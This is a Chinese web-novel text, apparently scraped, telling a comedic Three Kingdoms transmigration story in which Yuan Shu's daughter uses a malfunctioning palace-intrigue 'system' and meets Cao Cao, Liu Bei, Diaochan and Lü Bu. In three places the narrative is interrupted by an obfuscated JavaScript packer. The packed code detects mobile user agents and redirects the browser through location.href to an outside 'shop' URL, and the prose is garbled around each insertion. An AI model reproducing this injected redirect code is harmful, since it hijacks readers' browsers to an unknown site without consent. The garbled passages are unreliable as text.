《[三国]来到ooc三国后称帝了》 1. 把孙坚叉出去 午后的日光斜斜地照进书房,房间里充斥着安详的气息。 今日,她的父亲袁术叫她来到书房要教导她,可袁悦此时却一个字也看不下去,名义上是在看书,实际眼神空洞地愣着神。 就在今天早上,她,袁术的大女儿袁悦,觉醒了上辈子的记忆。 她上一世是一个二十一世纪学习中医学的命苦大学生,挑灯备战期末周的时候猝死了。 一个刚上大学的医学生,针灸都还不敢扎,虽然看过三国演义了解点历史,但真穿越到三国,完全就是比普通人还不如啊! 那些人个个都和人精一样,自己什么火药什么玻璃都不会弄,还当了袁术的女儿,完全就是躺平等死了好吧。 她宁愿自己从来没有觉醒这段属于上一世的记忆,至少之后的日子还能凑活过。 现在倒好,有了前世的记忆,反而让她恨不得立刻在自己身上捅一万个窟窿,赶紧重开一局。 正当她认真思考是装傻充愣继续混日子还是找根结实的房梁提前退出时,房门被轻轻推开了。 一名侍女垂着头快步走进来,在离书案几步远的地方停下。 “主子爷,门外孙坚将军携他的两位儿子前来觐见。” 袁悦的思绪被打断,脑子慢了半拍才反应过来。 主子爷?觐见? 她眨了眨眼。 这不是清宫戏里的称呼吗?汉末……也流行这个? 她匮乏的历史知识储备里,实在找不到任何相关的记载。 还有这个孙坚还带着孙策孙权来啊,这对吗,就不怕一家老小全折在这。觐见也不对吧! 这个世界,实在是槽多无口啊。 她还没来得及细想,就听见书桌后方传来她爹袁术那中气十足的声音。 “不见!没看我正忙着指点女儿功课吗?区区一个孙文台,也敢来打扰我们父女的清净?去,把他给我叉出去!” 袁悦手里的竹简差点没拿稳。 叉……叉出去? 她猛地转过头,看向她名义上的父亲。 叉出去,这对吗他们不正常你也不正常啊。 这边侍女恭敬地应了声是,便躬身退下。 书房里重归寂静,只剩下父女二人。 袁悦看着她爹那副刻板印象的奸诈模样,抽了抽嘴角,放下了手里的书卷,迟疑地开口。 “父亲,您……为何要将孙将军。叉出去?” 袁术闻言,发出一阵爽朗的笑声, “我回答你之前,有一事也想询问悦儿,正如你所说,我,为何要将他叉出去?” 袁悦沉默了。 我问你问题不就是因为不知道吗,为什么要重问回来。之前没觉得有问题。现在感觉全是槽点啊! 但没办法,谁让袁术是她父亲,她只能乖巧的编出来一个理由回应。 “女儿愚钝,只能猜到一二,父亲此举,或许是不想让孙将军心生骄傲,毕竟,骄兵必败。” 袁术着抚掌大笑起来。 “哈哈哈哈!说得好!说得好啊!不愧是我的宝贝嫡女,就是聪慧!为父这点心思,全被你看透了!” 他站起身,走到袁悦身边,欣慰地拍了拍她的肩膀。 袁悦跟着挤出一个笑容。 又陪着袁术说了几句不着边际的废话,袁悦终于找了个借口告辞,赶紧回到房间整理思绪。 …… 回到自己的院落,袁悦挥手让跟在身后的侍女退下,独自一人走进了寝房。 她走到桌案边,长呼一口气,头疼的揉了揉太阳穴。 唉,这是怎么个事儿啊。 [宿主儿聪慧!] 一个声音突然在她脑海中响起。 袁悦的动作顿住了。 她眨了眨眼,又眨了眨眼。 幻听? “哈…?” [主儿吉祥~我是宫斗系统!我的任务是竭诚为您服务,帮助宿主当上皇后,称霸后宫,最后走上人生巅峰当上这大清朝的太后~] 那个声音再次响起。 [本系统已自动匹配宿主所处年代清朝~系统商店已根据时代背景设定完毕,请主儿随时选购哦!] 袁悦用手扶住了额头。 清朝? 她深吸一口气。 [可是,这里是东汉末年啊。] [唉?] 那道声音卡壳了。 [唉唉唉???不可能呀?我明明听见外面的人叫主子爷和小姐呀?这这这…哎哎哎??] 袁悦叹了口气。 果然啊,这个世界就是被污染了吧!不仅人物设定ooc,连穿越者福利都识别错了! 系统的声音大概一盏茶后才再次响起,这次听起来有点委屈巴巴。 [宿…宿主…主系统说,系统商店是初始设定,不让改了TT。我…我给您申请了内部员工价,全场打五折,您看行吗?] 袁悦扶着额头。 [铁子,这不是五折不五折的问题。问题是皇帝刘协现在在洛阳,被董卓捏在手里。我怎么做他的皇后?是嫌我自己死得不够快吗?] [嘿嘿…] ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288098|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系统发出一阵尴尬的干笑。 袁悦懒得再跟它掰扯,索性打开了那个所谓的系统商店。 【偷情百分百不会被发现,一闻就倒迷魂香,百分百堕胎麝香】 袁悦看着这些东西。 [能TD不] 系统:[TD不了] 她叹了口气继续看下去。 【精品水泥配方(改变世界从基建开始)】、【牛痘接种法详解(天花克星,功德无量)】、【一喝就死鹤顶红】。 袁悦眼睛一亮,手指轻轻敲击着桌面。 这些东西好啊。 她原本已经准备躺平摆烂的心,又一次蠢蠢欲动起来。 要不…争一下? [系统。] 她试探性地问。 [你这里有没有什么…不进宫,在宫外发展感情的任务?] [有有有!] 系统立刻来了精神。 [您现在前往洛阳,从董卓手中救出落难的少年天子刘协!您救了失忆的他,在乡野间谈了一场纯纯的恋爱。 然后他恢复记忆,觉得你们地位悬殊,狠心抛弃你!你心碎欲裂,远走他乡。几年后他幡然醒悟,开启追妻火葬场模式,最终你原谅了他,当上了大汉的皇后!] 袁悦的嘴角抽了抽。 [你看的小说还真不少啊。] [嘿嘿~] 系统发出得意的笑声。 袁悦没理它,继续翻看着系统界面,在末尾,她发现了系统还给提供了buff。 [【嫡中嫡】:身为嫡长子的嫡长女,您生来便带着无可比拟的尊贵,您面对庶子时,天生具有压制力,攻击性言论效果增加100%。面对嫡子时,对方好感度增加进度100%,说话更容易让其相信。 ……更多buff等待宿主继续解锁!] 袁悦的眼睛亮了。 这个好啊! 袁绍不就是庶子吗? 还有那些嫡子谋士都更方便刷好感了,这个buff简直是为她量身定做的社交利器! [话说,你们这个buff设定是怎么定的?] 系统乐呵呵的回答到。 [是我定的!在绑定宿主之前主系统让我们定了buff标准。 剧里不都这样嘛!嫡出的就是瞧不起庶出的,庶出的看见嫡出的就自卑嘛!还有更多buff等待宿主儿触发哦~] 袁悦彻底不作声了。 这个系统绝对是看电视剧看得走火入魔了。我真的能靠这个系统当皇帝吗。 2. 嫡中嫡参加十八路会盟 袁悦在自己的房间里来回踱步。 窗外的阳光正好,可她此刻的心情,却远不如这天气来得明朗。 拼,还是不拼? 这是一个问题。 这个系统目前看起来提供的金手指只有基建方面和暗杀的,万一这个世界只是离谱了点大家的智商没怎么变呢。 她现在这点小聪明,加上一个脑子不清醒的宫斗系统,冲上去不就是送人头吗? 可就目前来看,她爹袁术是个一戳就蹦的活宝。 那其他人真的还能保持原版人设吗? 我需要一个机会观察一下…… 几天后的十八路诸侯会盟,就是个好机会。 但…怎么让袁术答应带上她这个女儿? 袁悦停下脚步,视线飘到自己那个闪着金光的buff嫡中嫡上。 可以让人更坚定嫡庶观念。。 她一拍桌子,下定了决心。 与其在这里坐着等死,不如主动出击,去亲眼看看这个世界到底是个什么鬼样子,试试这宫斗系统的能力! 袁悦整理了一下自己的仪容,朝着她爹袁术的书房“登登登”地跑了过去。 … 袁术正在书房里,对着一面巨大的铜镜,反复端详着自己新得的一套锦袍。 “嗯…不错,不错,此等风姿,非我袁公路不能有也!” 他正自我陶醉着,房门就被推开了。 袁悦一阵风似的冲了进来,站定在他面前,仰起小脸,眼睛亮晶晶的。 “父亲!” 袁术被打断了雅兴,略有不悦地转过身,但看到是自己最疼爱的嫡女,面色又缓和下来。 “悦儿啊,何事如此匆忙?” “父亲,数日后您将启程前往酸枣参与会盟,孩儿可否跟您同去?” 袁悦开门见山,眼睛亮晶晶的看着他。 袁术闻言,眉头立刻皱了起来,板起脸。 “胡闹!那是什么地方?十八路诸侯,各怀鬼胎,刀枪无眼,你一个女儿家去做什么。待在家里,为父给你寻摸天下最好的夫婿才是正经事!” 果然是这个反应。 袁悦心里早有预料但为了试验一下系统的带来的buff能力,她还是向前一步,唇角弯起一抹浅笑。 “父亲此言差矣。” 她顿了顿,清了清嗓子。 “孩儿是父亲唯一的嫡子,是袁家最正统的血脉。这等彰显我袁家声威的场合,孩儿为何不能去?” 袁术愣住了。 他看着自己的女儿,那张与自己有几分相似的脸上,此刻写满了理所当然。 唯一的嫡子? 这个称呼让他有些恍惚,但又觉得好像很有道理? 袁悦见他神情松动,立刻加了一把火。 “父亲您想,那袁绍不过一庶子出身,都能作为一方诸侯参与会盟。孩儿身为您的嫡女,难道身份还比不上他一个婢生子吗?孩儿若去,正能站在父亲身边,让天下人都看看,什么才是真正的四世三公,嫡系正统!也让那袁本初自惭形秽,明白嫡庶之间有云泥之别!” 袁术沉默许久,就在袁悦以为失败了要道歉时,袁术的眉头舒展开来,他一拍大腿,整个人都兴奋了起来。 “对!对啊!说得太对了!不愧是我的女儿!” 他几步走到袁悦身边,激动地握住她的肩膀。 “我袁公路的嫡女,凭什么不能去!那袁本初一个庶子都敢在诸侯面前耀武扬威,我的悦儿去了,正好能杀杀他的威风!让他知道,庶出的,永远都上不了台面!” 袁悦看着她爹瞬间变得比她还积极的模样,嘴角忍不住抽动了一下。 不是吧…… 这就答应了? 这个逻辑真的能成立吗?就因为我是嫡女,所以我就能去参加十八路诸侯?这合理吗?算了,隔壁孙坚还把一家老小都带上了呢。 …… 会盟的营帐内。 袁绍站在高台上,目光扫过台下的诸侯,最后定格在袁术和他身边的袁悦身上。 “公路啊,” 袁绍慢条斯理地开了口。 “这十八路诸侯讨董,乃是匡扶汉室的军国大事。你把女儿带来,是为何事?” 袁术还没来得及摆出“你算老几”的表情,在他身旁的袁悦已经向前一步,对着台上的袁绍盈盈一拜,脸上挂着得体的浅笑。 “袁盟主,悦儿愿替父亲解您所惑。” 她站直了身子,不卑不亢。 “既然您问我为何前来,那悦儿也想请教盟主,我,为何前来?” 袁绍张了张嘴,居然认真思考起来。 是啊,她为什么前来? 袁悦见他这样子,感叹这个世界如果大家都这个智商相信这个逻辑那可太好了。 她不再搭理袁绍,回到原处转头开始细细打量在场的诸侯。 一……四……十八 刚才没通报曹操来啊那怎么十八路齐了。 等他来了他是第几部?十九部?还是这个世界没有曹操,不能吧。那刘备呢? 她下意识地看向公孙瓒的阵营,却没看到那个任何有标志的人。 正当她疑惑之际,营帐外传来一阵骚动,有传令兵高声通报曹操到来。 袁悦的眉毛跳了一下。 真是说曹操曹操到啊。 袁绍等人前去迎接。袁悦站在原处伸长了脖子望过去。只见曹操带着士兵大步流星地走来,队伍身后还跟着三个人。 中间那人,个子不高,样貌平平,看起来没什么气势。他右边的人,眯缝着一双小眼睛,仿佛从未睁开过,长长的美髯垂在胸前,左边的人满脸络腮胡,豹头环眼,看着就不好惹。 袁悦的脑子“嗡”地一下。 这…这难道是刘备、关羽和张飞?! 这不对吧!刘关张不是应该跟着公孙瓒混吗?怎么跑到曹老板手下打工了? 这个世界莫非是曹刘同人?还有这个关羽,二爷你倒是睁眼看看世界啊不是丹凤眼吗怎么变成眯眯眼了!一直眯着不累吗? 那边,各路诸侯正围着曹操寒暄,场面好不热闹,完全没人注意到他身后的三位挂件。 那络腮胡大汉显然不满意这种被冷落的待遇,他往前一站,扯着嗓子就吼了起来。 “你们没看到我哥哥也在此处吗!” 他这一嗓子,把所有人的注意力都吸引了过来,中间的那个人淡淡说了一句。“三弟,不可无礼!” 袁悦的嘴角不受控制地抽搐了一下。 行吧,这世界大概是真的不太喜欢刘关张三人组,这人淡如菊的刘备。。不要啊。 袁绍皱了皱眉,显然对这突然冒出来的三人很不满。 “孟德,此是何人?如此粗鄙无礼。” 刘备连忙上前一步,对着众人深深一揖。 “在下刘备,字玄德,乃中山靖王之后,闻听诸君兴义师,特来助阵。” 他这话一出,周围立刻响起了一片窃窃私语。 “中山靖王之后?真的假的?” 袁术站在一旁,听着这些议论,不屑地轻哼了一声。 “哼,中山靖王之后?” 袁术上前一步,上下打量着刘备,言语间满是轻蔑。 “中山靖王刘胜,生子百二十余人,除嫡子外,皆分封为列侯。传至你这一代,不知已是第几代庶子之后了。依我看来,你这哪里是汉室宗亲,分明是‘大庶之子’啊!” “哈哈哈哈!” 袁术的话引来一阵哄笑。 他又往前走了几步,环视众人,提高了声量:“诸位!我袁术,四世三公,嫡系正统!今日会盟,乃是为了天下大义!若是连这等庶子的庶子都能与我等同坐一席,那这盟,不结也罢!恕我袁术,告老还乡了!” 说罢,他一甩袖子,作势就要走。 这下可急坏了周围的诸侯。 “公路兄,不可啊!” “公路留步!” 离他最近的公孙瓒一把拉住了他的胳膊,急切地劝道:“公路,你走了,我们吃什么!” 旁边立刻有人附和:“是啊是啊!粮草全靠你了,你可不能走啊!” “对啊,吃什么!” 众人笑作一团,原本有些紧张的气氛顿时变得欢乐起来。 袁悦站在人群后面,看着眼前这荒诞的一幕,尴尬的笑了笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288099|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这buff影响可真大。 [wow,宿主,这三国时期就是这样的吗?] [不不不,这个世界太诡异了,你别相信我求你了。] …… 最终,在一片哄笑与劝解声中,刘备面无表情的说天下兴亡匹夫有责说着说服其他人留了下来。 她认真地在脑海里过了一遍自己那点可怜的历史知识。 不对啊…刘备现在不应该是普通人了吧,不是因为在黄巾之乱里参与剿贼有了官职吗,刚才怎么不说?难道这个世界没有黄巾起义? 袁悦仔细回忆了一下,这个世界好像…根本就没有黄巾之乱这回事。 所以,现在的刘备,真的就只是个每天嚷嚷中山靖王之后的普通人?张角那些人去哪里了。 就在袁悦思考的时候,场中忽然又起了一阵骚动。 只见曹操走到了高台之下,从旁边的人手里取出一卷明黄色的绢帛,高高举起,朗声道。 “这里,是天子给我的密诏,十八路诸侯接诏!” 话音刚落,周围“哗啦啦”跪倒一片。 袁悦被这突如其来的变故惊得一愣,下意识地也想跟着跪,但膝盖刚弯下去一半。 她扭头看了看身边的便宜老爹袁术,发现他正挺着肚子,一脸倨傲地站着,完全没有要下跪的意思。 于是袁悦也理直气壮地站直了。 她好奇地伸长了脖子,看向曹操手中的那卷密诏,轻声询问。 “曹将军你这个圣旨,是真的?” 所有人的目光瞬间都聚焦到了她身上。 被一个黄毛丫头当众质疑,曹操却丝毫不恼。 他反而大笑起来,笑声爽朗,中气十足。 “哈哈哈哈!袁家的小姑娘好眼力!” 他将那卷绢帛随手一抖,对着众人晃了晃。 “不是!” 他干脆利落地承认。 “但,胜似圣旨!” 此言一出,那些跪在地上的诸侯们都愣住了。 片刻之后,离曹操最近的袁绍第一个反应过来,他一拍大腿,从地上起来,指着曹操大笑。 “好你个孟德!竟敢伪造圣旨,戏耍我等!” “哈哈,孟德此举,当罚酒三杯!” “就是就是!吓我一跳!” 其余跪着的诸侯们也纷纷站了起来,非但没有半点被欺骗的愤怒,反而个个都露出了然的笑容,七嘴八舌地开始调侃曹操,场面一时间充满了快活极了。 袁悦站在袁术的身后,看着眼前这快活的一幕,嘴角不受控制地抽动着。 不是…这都行? 伪造圣旨哎!这在哪个朝代不是诛九族的大罪吗?怎么到了这里,就跟朋友间开了个无伤大雅的玩笑一样?大家不仅不生气,还乐呵呵地要罚酒?而且还让你们下跪了哎! 你们这群诸侯的心也太大了吧! 她偷偷打量着周围人的反应。 她爹袁术正捻着胡须,一脸“我就知道是假的,尔等凡夫俗子才会上当”的得意表情。 台上的盟主袁绍则是皱着眉,似乎在思考曹操此举的深意,但看他那便秘似的表情,估计也想不出个所以然来。 而角落里的刘备,依旧是那副面无表情的样子,仿佛周遭的一切都与他无关。 他身后的关羽,依旧眯着眼,手一下一下地捋着自己的长髯。 只有那个豹头环眼的张飞,瞪大了眼睛,一脸的茫然。 嗯…… 袁悦在心里默默地得出了一个结论。 看来在场的各位,脑子好像都不是特别灵光的样子。 她忽然觉得,自己真的可以靠着这个不靠谱的宫斗系统称帝争霸。就算没系统也可以称帝。 回头我也去搞个假圣旨,协圣旨以令诸侯?反正被戳穿了大家也不会生气,就当是活跃气氛了嘛! 袁悦越想越觉得可行,她甚至开始盘算着,要不要跟系统兑换一个【皇家玉玺】,这样一来,她的假圣旨不就更逼真了吗?或者拿这个东西换点好处 她正美滋滋地盘算着,那边一群人开始商讨计谋。 不出一会儿,又有小兵来报华雄带兵前来攻打盟军。 3. 路遇俏吕布谋貂蝉 午后,阳光正好。 庭院里,袁悦正弯着腰,用一根狗尾巴草逗弄着面前一脸严肃的小男孩。 那孩子约莫七八岁,头发梳得一丝不苟,小脸绷得紧紧的,活脱脱一个小大人。他便是孙坚的次子,孙权。 “权弟,你看,好玩吗?” 袁悦把草穗凑到他鼻尖下晃了晃。 孙权不为所动,甚至还往后仰了仰,一本正经地开口。 “军营之内,当思行军打仗之事,此等玩物,于国无益。” “噗。” 坐在一旁的吴夫人没忍住,轻声笑了起来。 “犬子无礼,让姑娘见笑了。”吴夫人放下丝帕,带着几分歉意。 “哪里哪里,” 袁悦收回狗尾巴草,笑嘻嘻地捏了捏孙权那肉嘟嘟的脸蛋。 “权弟这是少年老成,小小年纪便心怀天下,将来必成大器!” 孙权被捏了脸,小眉头皱得更紧了,却碍于礼数没有躲开,只是那副“我很不高兴”的模样,实在是可爱得紧。 吴夫人看着他们,面上的笑意更深了些。 她端起茶盏,轻轻抿了一口,才再次开口。 “说起来,此次粮草之事,妾身还未正式谢过小姐①。若非小姐在公路将军面前周旋,我江东子弟,恐怕就要饿着肚子上阵了。” 是的,这个世界孙坚他们现在已经把江东说在嘴上,明明还没打下来,但就是说江东。长沙在哭泣。 袁悦对于这些基础错误已经无力吐槽,她在相处中发现,有名的人,ooc的就越厉害,经常说出不符合时代的ooc话语。 一些不出名的,就会很正常,但有时候也会口出妄语。 “夫人千万别这么说,这可折煞我了。” 袁悦连忙摆手,身子坐正了些。 “我不过是跟我爹提了一句罢了。我说,孙将军乃是讨董先锋,他的儿子孙策、孙权,那也是英雄之后,是正儿八经的嫡系子弟。 我爹身为盟军的粮草官,怎么能克扣嫡子的军粮呢?这传出去,岂不是让我袁家失了规矩,被天下人笑话?” 她用这套嫡庶说词,哄的袁术一点粮饷都不克扣了。 因此如今讨董进度倒是比原来多了很多。 “不管怎么说”吴夫人郑重地放下茶盏,“这份情,我孙家记下了。” 又闲谈片刻,吴夫人便带着一步三回头、似乎还想对袁悦说教几句的孙权告辞了。 送走了母子二人,袁悦脸上的笑容瞬间垮了下来。 她像一滩烂泥,把自己摔回了柔软的床榻上,四仰八叉地躺着。 唉。 她长长地叹出一口气。 拉拢吴夫人,结交孙权,甚至忽悠她爹给孙坚足额发粮,这些事做得再多,又有什么用呢? 说到底,她现在所做的一切,都是在为她那个便宜老爹袁术的霸业添砖加瓦。 她拉拢来的人脉,最终大概都会变成袁术的势力。 万一哪天真的把袁术捧上称帝了,这皇位会是她的吗? 概率很小。 她脑海里浮现出另一个少年的面孔——她的庶弟,袁耀。 虽然年纪不大,但那双眼睛里时常透出的阴郁和算计,让她从心底里感到一阵不适。 袁术那家伙,虽然嫡庶神教的思想侵入骨髓,但真到了传位那一步,十有八九会把位子传给袁耀,毕竟传位给女人还是不符合他们的思想。 到时候,自己就算有能力造反也得被恶心的半死。 一想到那种可能,袁悦就烦躁地在床上翻了个身。 不行!绝对不行! 与其给别人做嫁衣,不如自己单干!她必须要有自己的势力,要有能保护自己的力量! 可怎么发展呢?她一个深闺女子,肩不能提手不能挑,如今世道又这么乱,根本出不去啊。 正当她愁得薅头发时,一个许久没出现的声音在她脑海里欢快地响了起来。 [宿主儿~我回来啦!] 袁悦一愣。 [你还知道回来?我还以为你更新系统,把自己给更没了呢。] 她在心里没好气地吐槽。 [嘿嘿,人家这不是去给您申请福利了嘛!] 系统的声音带着邀功的意味。 [考虑到您的情况特殊,我去找主系统申请特权啦~锵锵!您现在可以赊账了!额度足足有10000积分哦~] 袁悦的眉毛挑了一下。 [赊账?还有这种好事?] [嘿嘿,不过…后续得多还10%的利息啦~] [我就知道。] 袁悦了然地点了点头, [天底下没有白吃的午餐,你们系统也搞贷款啊。] [这叫资源合理化配置!] 系统理直气壮地反驳。 [而且!系统商城也更新啦!宿主儿你快看看,快看看!好多好东西呢!] 袁悦来了点兴趣,心念一动,一个半透明的购物界面便在她眼前展开。 她略过那些熟悉的【鹤顶红】和【麝香】,目光被一个新上架的商品吸引了。 【小x子的武功】 袁悦挑了挑眉 她点开介绍。 【源自某个宫斗世界女主角身边太监的技能,女主道具,必定精品。 价格:3000积分。】 “买了!” 袁悦毫不犹豫。 在这人命如草芥的乱世,什么都没有自保能力来得重要! 她确认购买的瞬间,一股暖流从丹田升起。她闭上眼睛慢慢感受着。 过了一会,她睁开眼感觉自己的身体现在充实有力,能一拳拍碎桌子。 她从床上一跃而起,稳稳地落在地上。 [拜托!这也太酷了吧!]袁悦兴奋地在心里尖叫。 上一世,是一个爬二楼楼梯就要累死的大学生,这一世,前半段是大门不出,二门不迈的乖乖女,现在一跃成为武林高手,这太棒了吧! 压下激动的心情,她继续翻看商城。 很快,她翻到另一个道具。 【替身小人】 她立刻点开介绍。 【使用后可分出与宿主一模一样的替身。替身拥有简单的智能,会模仿宿主平时的行为举止,足以以假乱真。上限:两个 持续时间:一年。】 袁悦的心脏怦怦直跳。 这个!这个能力! 这简直就是瞌睡了送枕头,她正愁没法脱身去发展自己的势力。 有了这个能力她完全可以留一个替身在袁术身边扮演乖女儿。 而她自己,则可以偷跑出去发展。 她看向价格:6000积分。 刚好。 她现在有10000积分的信用额度,花了3000,还剩7000。 “买!立刻!马上!” 随着她确认购买,手中凭空出现了两个巴掌大的、没有五官的木头小人。 小人刚一出现,便化作两道流光,没入了她的掌心,消失不见。 她缓缓握紧拳头。 万事俱备。 接下来,就是她袁悦,在这乱世中大展拳脚的时候了! …… 夜色如墨,联军大营之内却不平静,董卓挟天子迁都西逃的消息传来。 追与不追,争论不休,最终还是曹操与孙坚等少数几人领兵出发,余下的大多选择按兵不动,袁术的营帐便是其中之一。 袁悦的帐内。 她站在帐篷中央,伸出手召唤出【替身小人】。 “就看你的了。” 她低语一句。 木头小人脱手飞出,在半空中一转,落地时已化作一个与袁悦一模一样的少女。 替身眨了眨眼,动作略显僵硬地走到床榻边,规规矩矩地躺下,闭上了眼睛,呼吸平稳。 嗯,不错不错! 袁悦换上准备好的粗布麻衣,确认帐内的“自己”毫无破绽后,悄无声息地掀开帐帘,融入了深沉的夜色里。 她凭借新得的武功,轻松避开几波巡逻的士卒,在马厩里牵了一匹黑马,翻身而上,双腿一夹,便绝尘而去,直奔长安方向。 夜风呼啸着刮过耳畔,让她的大脑愈发清醒。 [系统,把我那个和刘协的宫外情任务调出来!] 脑海里的系统立刻欢快地回应。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288100|198461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>[好嘞宿主儿~【落难天子与俏村姑】任务已开启!第一步:在董卓迁都的混乱中找到并救下与大部队失散的少年天子刘协!] 袁悦扯了扯嘴角。 还俏村姑……这都什么年代的剧本了。 她催动马匹,在月光下的官道上疾驰。 追兵的大部队早已出发,她孤身一人,必须争分夺秒。 不知跑了多久,前方传来潺潺的水流声,是一条清澈的小溪。 马儿跑得久了,也有些口渴,她便拉住缰绳,让它在溪边饮水。 就在这时,头顶的山道上突然传来一阵碎石滚落的响动,伴随着一声女子的惊呼。 袁悦猛地抬头,只见一道纤细的人影从陡峭的山壁上掉落,直直地朝着下方坠来。 电光石火之间,她腾地而起,在半空中精准地将来人揽入怀中。 一股幽兰般的香气瞬间包裹了她。 低头,那女子恰好也抬起头。 二人在空中旋转跳跃深情对视,最终落地。 袁悦看着怀里的女人。 好美。 这是她两辈子加起来,见过的最美的女人了。 袁悦抱着她,一时间竟有些看呆了。 怀中的温软与芬芳,让她这个笔直的女人都心头一跳。 过了好一会儿,她才反应过来,连忙松开手,后退了半步。 “姑娘,你没事吧?” 那女子似乎也才回过神,脸颊“唰”地一下红透了,她连忙整理了一下自己的衣襟,羞涩地低下头,细若蚊呐地回了一句。 “奴婢…奴婢无事,多谢小姐搭救。” “貂蝉小姐!” 山道上方又传来一个男人的呼喊,紧接着,一道高大魁梧的身影从天而降,重重地落在不远处,激起一片尘土。 “貂蝉小姐!” 男人看到那女子安然无恙,明显松了口气,大步流星地走了过来。 而被他称作“貂蝉”的女子,也看过去,对着他福了一礼。 “吕布将军。” 袁悦站在一旁,挠了挠头。 貂蝉?吕布? 她看看这个,又看看那个,脑子里缓缓打出一个问号。 不是吧?这俩人现在就认识了?还“貂蝉小姐”、“吕布将军”地叫上了?王允的连环计还没开始呢,你们俩怎么就先搭上线了? 这个世界的时间线,到底是怎么一回事啊! 吕布看貂蝉没事,又看向袁悦,提高警惕。 “这位是……” 一旁的貂蝉开口。 “吕布将军,您误会了。” 她对着吕布微微摇头,然后转向袁悦,脸上带着感激的浅笑, “这位小姐是我的救命恩人。若不是她,我恐怕已经…” 她说着,又对着袁悦盈盈一拜。 袁悦赶紧上前一步扶住她,顺势也对着吕布行了一礼。 “鄙人袁烁,一介流民罢了。家乡遭了祸,实在混不下去了,才想着出来看看有没有活路。没想到遇到貂蝉小姐,行侠仗义罢了” 貂蝉听了她的话,美目中流露出怜悯,她拉住袁悦的手。 “原来烁小姐也是苦命人。” 貂蝉轻声说道。 “小姐救了我的性命,此等大恩,无以为报。不如…不如小姐随我回司徒府吧?家父王司徒乃是当朝司徒,为人最是仁厚,他见了我这救命恩人,必然会收留小姐的。” 袁悦这下又有些困惑。 这是连环计已经开始了在骗吕布?不会真是义父吧,不能吧。 算了,先混进去吧好靠近刘协做任务,回头不对再逃,积分刷够就放个替身走。 “这…这怎么好意思…” 袁悦故作迟疑的推脱。 “没什么不好意思的!” 貂蝉不由分说地拉着她。 “就这么说定了!吕布将军,我们快回去吧,我们遭遇伏击,不知道义父怎么样了。” 吕布看看貂蝉,又看看被貂蝉亲热地拉着手的袁悦。 虽然还是一脸状况外的表情,但既然貂蝉发了话,他自然没有不从的道理,只是闷闷地点了点头,跟在了二人身后。 4. 往日种种,终究是错付了 夜路崎岖,吕布貂蝉袁悦三人一马一行人星夜赶路。 袁悦跟在貂蝉身边,听着她轻声讲述方才她为何会从山路上掉落下来。 原来是董卓迁都的大部队在途中遭遇了小股乱军的伏击,混乱中,貂蝉乘坐的马车受惊失控,才导致她从山道上坠落。 啊,貂蝉还做马车吗,这个时候王允都够呛做马车吧。好诡异,但是这个吕布更诡异。 袁悦瞥了一眼走在最前面的吕布。 大哥,你不是董卓的贴身保镖吗?遇到伏击,你不去保护你董卓和皇上,反而第一时间跑来救美人? 看来,你和董卓的往日种种,终究是错付了啊! 还有,这荒山野岭的,你真的能找到王允他们那?别给我们带到什么鸟不拉屎的地方一起杀掉了。 吐槽归吐槽,她面上还是一副关切的模样,一只手牵着马,一只手紧紧握着貂蝉的手,时不时柔声安慰两句。 没过多久,前方真的出现了火光和人声。 我去,真到了。 前方的吕布停下脚步,回头含情脉脉的看着貂蝉和她告辞。 “貂蝉小姐,司徒大人就在前面,我就先告辞了。” 说完,他也不等貂蝉回应,转身几个大步就消失在了夜色里。 袁悦盯着吕布离开的方向。 推测他应该去找董卓了。回头就去那个方向走走找找刘协做任务。 这边,貂蝉帮着袁悦把马拴好,拉着她继续往前走。 “我们快过去吧,希望义父也没事。” 火光下,二人穿过人群张望着,一位身着官服,须发微白的老者迎了上来。 “义父!” 貂蝉快步跑了过去。 “蝉儿!” 王允见到她,脸上紧绷的表情柔和下来,他上前几步,握住貂蝉的手,上下打量着。 “你没事吧?可有受伤?” “女儿无事,只是受了些惊吓。” 貂蝉摇了摇头,随即侧过身,将身后的袁悦引荐给王允。 “义父,这位是我的救命恩人,袁烁姑娘。方才若不是她出手相救,女儿恐怕就……就再也见不到您了。” 袁悦适时地上前,对着王允拱了拱手,不卑不亢。 “司徒大人。” 还真是义父啊……这个世界原来不仅蠢,改动还这么大。 嘶。那些谋士武将不会也……希望给我留几个好人。 王允的目光落在袁悦身上,眼里闪过一丝警惕。 他点了点头,算是回礼。 貂蝉看着王允,语气中带着几分恳求。 “义父,袁姑娘家乡遭了灾,如今无处可归。女儿想……想请您收留她,也好让女儿有机会报答她的救命之恩。” 王允略微有些犹豫。 这荒郊野外的,突然冒出来一个身手不凡的年轻女子,还恰好救了自己的义女,怎么看都透着一股蹊跷。 但看着貂蝉期盼的眼神,他最终还是没有拒绝。 “好,好。” 王允点了点头,随即对身旁的一名侍从吩咐道。 